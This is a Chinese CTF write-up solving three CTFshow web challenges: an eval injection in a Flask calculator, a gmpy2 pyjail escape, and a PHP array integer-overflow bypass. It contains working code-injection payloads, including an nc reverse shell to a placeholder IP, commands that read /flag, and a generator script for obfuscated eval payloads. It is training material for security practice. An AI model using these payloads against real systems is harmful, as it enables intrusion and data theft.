CTFshow-菜狗杯-算力超群-算力升级-无一幸免FIXED

2023-10-07 22:30

本文主要是介绍CTFshow-菜狗杯-算力超群-算力升级-无一幸免FIXED,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

算力超群

题目来源

CTFshow-菜狗杯-WEB

题目考点

简单沙箱逃逸

题目源码

题目源码来自writeup

# -*- coding: utf-8 -*-
# @Time    : 2022/11/2
# @Author  : 探姬
# @Forkfrom:https://github.com/helloflask/calculatorimport re
from flask import Flask, jsonify, render_template, requestapp = Flask(__name__)@app.route('/_calculate')
def calculate():a = request.args.get('number1', '0')operator = request.args.get('operator', '+')b = request.args.get('number2', '0')m = re.match(r'^\-?\d*[.]?\d*$', a)n = re.match(r'^\-?\d*[.]?\d*$', a)if m is None or n is None or operator not in '+-*/':return jsonify(result='Error!')if operator == '/':result = eval(a + operator + str(float(b)))else:result = eval(a + operator + b)return jsonify(result=result)@app.route('/')
def index():return render_template('index.html')@app.route('/hint')
def hint():return render_template('hint.html')if __name__ == '__main__':app.run()

解题过程

执行请求 http://1ed5282a-5e0e-42a0-b8a0-460fe11c6202.challenge.ctf.show/_calculate?number1=7&operator=*&number2=XXXX 报错如下:

在这里插入图片描述


审阅源码得到

m = re.match(r'^\-?\d*[.]?\d*$', a)
n = re.match(r'^\-?\d*[.]?\d*$', a)

粗心的复制粘贴导致最后一个变量没有任何校验,所以直接使用b进行执行。
先拿报错骗出路径,因为没有回显,所以我们将结果写入可见的路由部分就好了。
#g4的payload

payload:?number2=1,__import__('os').system('nc xxx.xxx.xxx.xxx 1234 -e sh')

或者其他无回显的payload
通过写文件回显

_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('ls / >/app/templates/hint.html')_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('cat /flag >/app/templates/hint.html')

构造展示文件目录的Payload

_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('ls / >/app/templates/hint.html')

执行Payload

在这里插入图片描述

回显结果如下

在这里插入图片描述

访问 http://7125305f-e54e-406f-91cd-3c92b19e4813.challenge.ctf.show/hint 得到如下结果

在这里插入图片描述

构造读取flag文件的Payload

_calculate?number1=1&operator=%2B&number2=2,__import__('os').system('cat /flag >/app/templates/hint.html')

执行Payload,得到如下结果

在这里插入图片描述

再次访问 http://7125305f-e54e-406f-91cd-3c92b19e4813.challenge.ctf.show/hint 得到flag

在这里插入图片描述

ctfshow{34063eb3-8e41-468f-946e-c21fb0086e32}


另一种方法

/_calculate?number1=&operator=&number2=__import__('os').popen('ls /').read()
/_calculate?number1=&operator=&number2=__import__('os').popen('tac /flag').read()

算力升级

题目来源

CTFshow-菜狗杯-WEB

题目考点

gmpy2.__builtins的命令执行

题目源码

    # !/usr/bin/env python# -*-coding:utf-8 -*-"""# File       : app.py# Time       :2022/10/20 15:16# Author     :g4_simon# version    :python 3.9.7# Description:算力升级--这其实是一个pyjail题目"""from flask import *import osimport re,gmpy2 import json#初始化全局变量app = Flask(__name__)pattern=re.compile(r'\w+')@app.route('/', methods=['GET'])def index():  return render_template('index.html')@app.route('/tiesuanzi', methods=['POST'])def tiesuanzi():code=request.form.get('code')for item in pattern.findall(code):#从code里把单词拿出来if not re.match(r'\d+$',item):#如果不是数字if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})try:result=eval(code)return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})except:return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})@app.route('/source', methods=['GET'])def source():  return render_template('source.html')if __name__ == '__main__':app.run(host='0.0.0.0',port=80,debug=False)

题目提示

提示:输入算式即可让R4帮你进行计算,本次R4重装升级,已经支持gmpy2了,可以使用gmpy2的函数进行计算,那我们赶快开始吧!

解题过程

打开题目链接,得到如下界面

在这里插入图片描述

点击 左上角查看源码,得到源码

    # !/usr/bin/env python# -*-coding:utf-8 -*-"""# File       : app.py# Time       :2022/10/20 15:16# Author     :g4_simon# version    :python 3.9.7# Description:算力升级--这其实是一个pyjail题目"""from flask import *import osimport re,gmpy2 import json#初始化全局变量app = Flask(__name__)pattern=re.compile(r'\w+')@app.route('/', methods=['GET'])def index():  return render_template('index.html')@app.route('/tiesuanzi', methods=['POST'])def tiesuanzi():code=request.form.get('code')for item in pattern.findall(code):#从code里把单词拿出来if not re.match(r'\d+$',item):#如果不是数字if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})try:result=eval(code)return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})except:return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})@app.route('/source', methods=['GET'])def source():  return render_template('source.html')if __name__ == '__main__':app.run(host='0.0.0.0',port=80,debug=False)

通过审计源码可知,如何绕过执行的限制是关键。

审计源码可知,源码对于输入的限制是两个正则,要求要么是数字,要么是dir(gmpy2)中的内容。我们在自己的环境中试一下,发现gmpy2.__builtins__是含有eval的,思路就是使用eval和dir(gmpy2)中的内容拼接字符串,payload生成脚本如下:

s="__import__('os').popen('cat /flag').read()"import gmpy2payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("for i in s:if i not in "/'(). ":temp_index=0temp_string='x'*20for j in dir(gmpy2):if j.find(i)>=0:if len(j)<len(temp_string):temp_string=jtemp_index=j.find(i)payload+=f'\'{temp_string}\'[{temp_index}]+'else:payload+=f'\"{i}\"+'payload=payload[:-1]+')'print(payload)

执行Payload,得到flag

在这里插入图片描述

ctfshow{0ffe7319-b454-455d-bdae-fbbad7a7521a}

无一幸免FIXED

题目来源

CTFshow-菜狗杯-WEB

题目考点

数组整型溢出绕过赋值式“永真”判断

题目源码

<?php
include "flag.php";
highlight_file(__FILE__);if (isset($_GET['0'])){$arr[$_GET['0']]=1;if ($arr[]=1){die("nonono!");}else{die($flag);}
}

解题过程

打开题目链接,得到题目源码界面如下:

在这里插入图片描述

审阅代码,可知这道题目需要用到整形数组溢出去解答

构造Payload如下

http://3dc6fa9e-1ce1-4e63-8767-bb0f3db5bf2b.challenge.ctf.show/?0=9223372036854775807

执行Payload得到flag

在这里插入图片描述

ctfshow{bb86b68a-9f7a-4980-8494-8d1e8cc2fb6d}

这篇关于CTFshow-菜狗杯-算力超群-算力升级-无一幸免FIXED的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/160866

相关文章

Python包管理工具pip的升级指南

《Python包管理工具pip的升级指南》本文全面探讨Python包管理工具pip的升级策略,从基础升级方法到高级技巧,涵盖不同操作系统环境下的最佳实践,我们将深入分析pip的工作原理,介绍多种升级方... 目录1. 背景介绍1.1 目的和范围1.2 预期读者1.3 文档结构概述1.4 术语表1.4.1 核

CSS中的Static、Relative、Absolute、Fixed、Sticky的应用与详细对比

《CSS中的Static、Relative、Absolute、Fixed、Sticky的应用与详细对比》CSS中的position属性用于控制元素的定位方式,不同的定位方式会影响元素在页面中的布... css 中的 position 属性用于控制元素的定位方式,不同的定位方式会影响元素在页面中的布局和层叠关

Python UV安装、升级、卸载详细步骤记录

《PythonUV安装、升级、卸载详细步骤记录》:本文主要介绍PythonUV安装、升级、卸载的详细步骤,uv是Astral推出的下一代Python包与项目管理器,主打单一可执行文件、极致性能... 目录安装检查升级设置自动补全卸载UV 命令总结 官方文档详见:https://docs.astral.sh/

苹果macOS 26 Tahoe主题功能大升级:可定制图标/高亮文本/文件夹颜色

《苹果macOS26Tahoe主题功能大升级:可定制图标/高亮文本/文件夹颜色》在整体系统设计方面,macOS26采用了全新的玻璃质感视觉风格,应用于Dock栏、应用图标以及桌面小部件等多个界面... 科技媒体 MACRumors 昨日(6 月 13 日)发布博文,报道称在 macOS 26 Tahoe 中

华为鸿蒙HarmonyOS 5.1官宣7月开启升级! 首批支持名单公布

《华为鸿蒙HarmonyOS5.1官宣7月开启升级!首批支持名单公布》在刚刚结束的华为Pura80系列及全场景新品发布会上,除了众多新品的发布,还有一个消息也点燃了所有鸿蒙用户的期待,那就是Ha... 在今日的华为 Pura 80 系列及全场景新品发布会上,华为宣布鸿蒙 HarmonyOS 5.1 将于 7

ubuntu系统使用官方操作命令升级Dify指南

《ubuntu系统使用官方操作命令升级Dify指南》Dify支持自动化执行、日志记录和结果管理,适用于数据处理、模型训练和部署等场景,今天我们就来看看ubuntu系统中使用官方操作命令升级Dify的方... Dify 是一个基于 docker 的工作流管理工具,旨在简化机器学习和数据科学领域的多步骤工作流。

将Mybatis升级为Mybatis-Plus的详细过程

《将Mybatis升级为Mybatis-Plus的详细过程》本文详细介绍了在若依管理系统(v3.8.8)中将MyBatis升级为MyBatis-Plus的过程,旨在提升开发效率,通过本文,开发者可实现... 目录说明流程增加依赖修改配置文件注释掉MyBATisConfig里面的Bean代码生成使用IDEA生

linux环境openssl、openssh升级流程

《linux环境openssl、openssh升级流程》该文章详细介绍了在Ubuntu22.04系统上升级OpenSSL和OpenSSH的方法,首先,升级OpenSSL的步骤包括下载最新版本、安装编译... 目录一.升级openssl1.官网下载最新版openssl2.安装编译环境3.下载后解压安装4.备份

怎么关闭Ubuntu无人值守升级? Ubuntu禁止自动更新的技巧

《怎么关闭Ubuntu无人值守升级?Ubuntu禁止自动更新的技巧》UbuntuLinux系统禁止自动更新的时候,提示“无人值守升级在关机期间,请不要关闭计算机进程”,该怎么解决这个问题?详细请看... 本教程教你如何处理无人值守的升级,即 Ubuntu linux 的自动系统更新。来源:https://

你的华为手机升级了吗? 鸿蒙NEXT多连推5.0.123版本变化颇多

《你的华为手机升级了吗?鸿蒙NEXT多连推5.0.123版本变化颇多》现在的手机系统更新可不仅仅是修修补补那么简单了,华为手机的鸿蒙系统最近可是动作频频,给用户们带来了不少惊喜... 为了让用户的使用体验变得很好,华为手机不仅发布了一系列给力的新机,还在操作系统方面进行了疯狂的发力。尤其是近期,不仅鸿蒙O